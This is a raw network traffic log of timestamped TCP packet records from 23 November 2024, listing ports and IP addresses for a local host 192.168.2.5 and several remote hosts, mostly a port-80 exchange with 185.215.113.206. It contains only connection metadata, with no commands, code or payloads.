Nov 23, 2024 01:14:31.886814117 CET	443	49834	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:31.889889956 CET	49835	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:31.889898062 CET	443	49835	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:31.935973883 CET	49835	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:31.936000109 CET	49834	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:31.988744974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.988831997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.988996983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.989249945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.989254951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.989284992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.989329100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.990219116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.990325928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.990350008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.990370989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.991158009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.991209984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.991250992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.991317034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.992120981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.992301941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.992367029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.993081093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.993149042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.993182898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.993233919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.994050980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.994138956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.994174957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.994267941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.995018959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.995065928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.995138884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.995182991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.995987892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.996059895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.996094942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.996141911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.996965885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.997083902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.997138977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.997929096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.997997999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.998034000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.998197079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.998902082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.998954058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.999027967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.999080896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.999891043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.000004053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.000051975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.000853062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.000910997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.000938892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.000999928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.001796007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.001859903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.001903057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.002064943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.002813101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.002881050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.002896070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.002975941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.003786087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.003834009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.003875017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.003948927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.004728079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.004786015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.004827023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.004878998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.005692959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.005744934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.005786896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.005834103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.006649971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.006700039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.006748915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.006798029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.007636070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.007751942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.007793903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.008611917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.008668900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.008744955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.008800983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.009555101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.009609938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.009659052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.009747028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.010555983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.010652065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.010674000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.010792971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.011493921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.011615038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.012486935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.012588978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.013200998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.013448954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.013551950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.014008045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.014399052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.014456987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.014520884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.014795065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.015396118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.015465975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.015507936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.016076088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.016352892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.016419888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.016455889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.016494036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.017304897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.017468929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.017510891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.017551899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.018297911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.018352032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.018435955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.018584967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.019263029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.019329071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.019357920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.019469023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.020252943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.020317078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.020409107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.020541906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.021184921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.021238089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.021287918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.021384954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.022169113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.022214890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.022254944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.022342920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.023406029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.023472071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.023473978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.023514986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.024117947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.024172068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.024306059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.024413109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.025068998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.025170088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.025185108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.025294065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.026072025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.026120901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.026164055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.026204109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.027023077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.027096987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.027143955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.027308941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.028001070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.028057098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.028182983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.028258085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.028932095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.028990984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.029139042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.029186010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.029907942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.029974937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.030039072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.030587912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.030868053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.030946970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.030977964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.031024933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.031848907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.031873941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.031910896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.031930923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.032830954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.032902002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.032922983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.033180952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.033790112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.033849001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.033890009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.033963919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.034746885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.034815073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.034857035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.034895897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.035725117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.035762072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.035794020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.035820961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.036680937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.036802053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.036854982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.037657976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.037715912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.037764072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.037832022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.038650036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.038706064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.038791895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.038836956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.039546967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.039598942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.135330915 CET	49841	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:32.135353088 CET	443	49841	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:32.135451078 CET	49841	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:32.135827065 CET	49842	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:32.135886908 CET	443	49842	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:32.135955095 CET	49842	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:32.136044979 CET	49843	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:32.136054993 CET	443	49843	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:32.136111021 CET	49843	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:32.136250019 CET	49844	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:32.136293888 CET	443	49844	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:32.136431932 CET	49844	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:32.136492014 CET	49841	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:32.136506081 CET	443	49841	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:32.136785984 CET	49845	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:32.136815071 CET	443	49845	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:32.136989117 CET	49842	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:32.137011051 CET	443	49842	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:32.137070894 CET	49845	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:32.137099981 CET	49843	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:32.137114048 CET	443	49843	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:32.137206078 CET	49844	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:32.137224913 CET	443	49844	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:32.137376070 CET	49845	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:32.137391090 CET	443	49845	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:32.190093994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.190190077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.190211058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.190407991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.190593958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.190644979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.190700054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.191560984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.191621065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.191674948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.191761017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.192548037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.192642927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.192657948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.192718029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.193504095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.193558931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.193600893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.193651915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.194453955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.194514036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.194555044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.194706917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.195425034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.195482016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.195516109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.195607901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.196409941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.196527958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.196578026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.197376013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.197501898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.197567940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.198343992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.198463917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.198523998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.199321032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.199424028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.199505091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.200273991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.200352907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.200396061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.201236963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.201306105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.201332092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.201514959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.202220917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.202281952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.202307940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.202430010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.203205109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.203262091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.203345060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.203397036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.204180956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.204233885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.204313040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.204374075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.205133915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.205185890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.205225945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.205379009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.206114054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.206171036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.206217051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.206291914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.207046986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.207108021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.207173109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.207220078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.208029032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.208080053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.208131075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.208177090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.208992958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.209043980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.209120989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.209223032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.210165024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.210223913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.210299969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.210374117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.211225033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.211286068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.211357117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.211400986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.212382078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.212433100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.212480068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.212928057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.212985039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.213021040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.213076115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.213841915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.213898897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.213938951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.214108944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.214818001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.214871883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.214894056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.214998960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.215818882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.215867043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.215934038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.216193914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.216769934 CET	80	49760	185.215.113.206	192.168.2.5
